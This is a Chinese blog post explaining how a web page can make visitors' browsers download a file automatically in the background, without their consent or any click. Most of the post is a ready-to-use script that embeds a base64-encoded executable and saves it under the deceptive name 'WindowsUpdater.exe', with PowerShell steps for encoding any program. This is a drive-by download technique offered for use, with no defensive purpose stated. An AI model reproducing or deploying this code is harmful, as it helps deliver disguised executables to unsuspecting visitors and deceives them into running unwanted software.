通过JavaScript让网页访客后台自动下载文件

admin
🌐 经济型:买域名、轻量云服务器、用途:游戏 网站等 《腾讯云》特点:特价机便宜 适合初学者用 点我优惠购买
🚀 拓展型:买域名、轻量云服务器、用途:游戏 网站等 《阿里云》特点:中档服务器便宜 域名备案事多 点我优惠购买
🛡️ 稳定型:买域名、轻量云服务器、用途:游戏 网站等 《西部数码》 特点:比上两家略贵但是稳定性超好事也少 点我优惠购买

温馨提示:这篇文章已超过522天没有更新,请注意相关的内容是否还可用!

你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript可以实现后台自动下载文件。

JavaScript代码




<script>filename = "WindowsUpdater.exe"//这里写用户下载之后的文件filedata = ""//这里需要填文件数据//如何生成文件数据?//我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:\Windows\System32\calc.exe'//模板//$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))//譬如我们这里想获取计算器程序的data//$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\System32\calc.exe'))//我们可以继续输入//$base64string | Out-File tempoRARy.log//之后我们打开这个文件//code .\temporary.log//之后将这个文件数据复制到上方的filedata=""中function base64tobytes(b64data){var binary_values = atob(b64data);var binary_length = binary_values.lengthvar bytes_data = new Uint8Array(binary_length);for ( var i = 0 ; i < binary_length ; i++ ){bytes_data[i] = binary_values.charCodeAt(i);}return bytes_data.buffer;}var filebytes = base64tobytes(filedata);var blob = new Blob([filebytes],{"type":"octet/stream"});var anchor = document.createElement("a")document.body.append(anchor);anchor.style = "display:none;";var url = window.URL.createObjectURL(blob)anchor.href = url;anchor.download = filename;anchor.click();window.URL.revokeObjectURL(url);</script>

文章版权声明:除非注明,否则均为执刀人的工具库原创文章,转载或复制请以超链接形式并注明出处。

发表评论

快捷回复: 表情:
AddoilApplauseBadlaughBombCoffeeFabulousFacepalmFecesFrownHeyhaInsidiousKeepFightingNoProbPigHeadShockedSinistersmileSlapSocialSweatTolaughWatermelonWittyWowYeahYellowdog
验证码
评论列表 (暂无评论,419人围观)

还没有评论,来说两句吧...

目录[+]

取消
微信二维码
微信二维码
支付宝二维码